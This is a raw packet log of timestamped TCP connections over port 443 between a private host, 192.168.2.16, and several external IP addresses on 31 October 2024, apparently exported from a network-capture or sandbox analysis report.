Oct 31, 2024 21:55:02.680596113 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.680891037 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.681175947 CET	53703	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.681229115 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.681305885 CET	53703	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.682653904 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.682832003 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.682851076 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.683130026 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.683389902 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.683443069 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.683487892 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.684124947 CET	49678	443	192.168.2.16	20.189.173.10
Oct 31, 2024 21:55:02.710587025 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.710838079 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.710865021 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.711148977 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.711421967 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.711478949 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.727328062 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.727341890 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.732132912 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.764144897 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.824827909 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.824898958 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.824961901 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.825460911 CET	53702	443	192.168.2.16	104.18.95.41
Oct 31, 2024 21:55:02.825478077 CET	443	53702	104.18.95.41	192.168.2.16
Oct 31, 2024 21:55:02.986695051 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.986768961 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.986830950 CET	53703	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.988713980 CET	53703	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:02.988734961 CET	443	53703	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:02.989203930 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:03.035346031 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:03.463807106 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:03.463948011 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:03.464004040 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:03.466424942 CET	53704	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:03.466445923 CET	443	53704	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:03.504898071 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:03.504949093 CET	443	53705	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:03.505178928 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:03.505527020 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:03.505538940 CET	443	53705	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.134166002 CET	49673	443	192.168.2.16	204.79.197.203
Oct 31, 2024 21:55:04.145899057 CET	443	53705	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.146187067 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.146219969 CET	443	53705	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.147264004 CET	443	53705	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.147346020 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.158591986 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.158714056 CET	443	53705	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.158739090 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.158739090 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.158782959 CET	53705	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.159393072 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.159435034 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.159735918 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.160408974 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.160422087 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.787026882 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.787276983 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.787296057 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.788295984 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.788364887 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.789258003 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.789323092 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.789443970 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.834160089 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:04.834172010 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:04.881109953 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:05.158181906 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:05.158232927 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:05.158354998 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:05.158379078 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:05.158447981 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:05.160520077 CET	53706	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:05.160536051 CET	443	53706	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:05.161083937 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:05.161123991 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:05.161303997 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:05.161505938 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:05.161520004 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:05.789355993 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:05.792009115 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:05.792052984 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:05.792351007 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:05.792723894 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:05.792778969 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:05.792907953 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:05.792929888 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214108944 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214179039 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214210033 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214238882 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214267969 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214273930 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.214297056 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214308977 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214318991 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.214378119 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.214404106 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.214459896 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.214519024 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.268131018 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.268156052 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.316134930 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.333304882 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333362103 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333385944 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333422899 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.333436966 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333507061 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.333513021 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333564997 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333592892 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333606005 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.333610058 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333643913 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.333650112 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.333673954 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.334105968 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.334131956 CET	53707	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.334146023 CET	443	53707	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.340475082 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.340507984 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.340574980 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.340930939 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.340956926 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.341011047 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.341695070 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.341707945 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.342278957 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.342294931 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.347721100 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:06.347749949 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:06.347815037 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:06.348279953 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:06.348289967 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:06.957395077 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.957662106 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.957689047 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.957971096 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.958316088 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.958365917 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.958477020 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.958528042 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.960849047 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.961020947 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.961035013 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.961313963 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.961787939 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.961839914 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:06.961914062 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:06.961962938 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:07.002141953 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:07.002176046 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:07.162131071 CET	49680	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:55:07.237471104 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:07.237540007 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:07.237793922 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:07.238037109 CET	53709	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:07.238063097 CET	443	53709	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:07.261759043 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.261785030 CET	443	53711	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.261953115 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.262217999 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.262229919 CET	443	53711	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.287503958 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:07.287610054 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:07.287676096 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:07.288078070 CET	53708	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:07.288095951 CET	443	53708	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:07.290587902 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.290622950 CET	443	53712	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.290783882 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.291063070 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.291074038 CET	443	53712	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.403526068 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.403767109 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.403779984 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.404689074 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.404757977 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.405685902 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.405735970 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.405843019 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.405848980 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.449139118 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.637583971 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.689129114 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.757215977 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.757225990 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.757263899 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.757282019 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.757293940 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.757293940 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.757311106 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.757360935 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.757384062 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.758692980 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.758701086 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.758732080 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.758763075 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.758771896 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.758796930 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.758816957 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.876549959 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.876565933 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.876630068 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.876638889 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.876698971 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.900893927 CET	443	53712	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.901228905 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.901236057 CET	443	53712	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.902096033 CET	443	53712	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.902164936 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.902477026 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.902488947 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.902529955 CET	443	53712	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.902535915 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.902671099 CET	443	53712	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.902725935 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.902738094 CET	53712	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.902848959 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.902889013 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.902987957 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.903167009 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.903181076 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.912458897 CET	443	53711	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.912652969 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.912662983 CET	443	53711	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.913508892 CET	443	53711	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.913574934 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.913876057 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.913902998 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.913925886 CET	443	53711	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.913940907 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.914062977 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.914066076 CET	443	53711	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.914135933 CET	53711	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.914171934 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.914189100 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.914244890 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.914453030 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:07.914462090 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:07.997195005 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.997210026 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.997273922 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.997279882 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.997337103 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.998437881 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.998451948 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.998509884 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:07.998514891 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:07.998564959 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.000364065 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.000377893 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.000453949 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.000459909 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.000515938 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.001252890 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.001267910 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.001323938 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.001329899 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.001364946 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.002329111 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.002342939 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.002391100 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.002396107 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.002425909 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.002517939 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.004071951 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.004111052 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.004127026 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.004148960 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.004199982 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.004333019 CET	53710	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.004338980 CET	443	53710	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.014741898 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.014754057 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.014827013 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.015031099 CET	53715	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.015042067 CET	443	53715	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.030384064 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.030406952 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.030486107 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.030538082 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.030560970 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.030662060 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.031174898 CET	53716	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.031187057 CET	443	53716	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.031358957 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.031372070 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.031968117 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.031984091 CET	443	53718	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.032032013 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.032401085 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.032408953 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.032463074 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.032670021 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.032680988 CET	443	53718	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.032821894 CET	53719	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:08.032831907 CET	443	53719	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:08.509258032 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.511281013 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.511301041 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.512176991 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.512253046 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.512608051 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.512665987 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.512810946 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.512819052 CET	443	53713	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.539622068 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.540741920 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.540766954 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.541789055 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.541860104 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.542211056 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.542268038 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.542357922 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.565252066 CET	53713	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.587337971 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.597204924 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.597217083 CET	443	53714	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.645138979 CET	53714	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.662652969 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.663263083 CET	443	53718	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.663501978 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.663517952 CET	443	53718	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.663625956 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.663641930 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.663958073 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.664350986 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.664408922 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.664539099 CET	53717	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:08.664558887 CET	443	53718	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:08.664562941 CET	443	53717	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:08.664634943 CET	53718	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:08.664938927 CET	53718	443	192.168.2.16	188.114.96.3
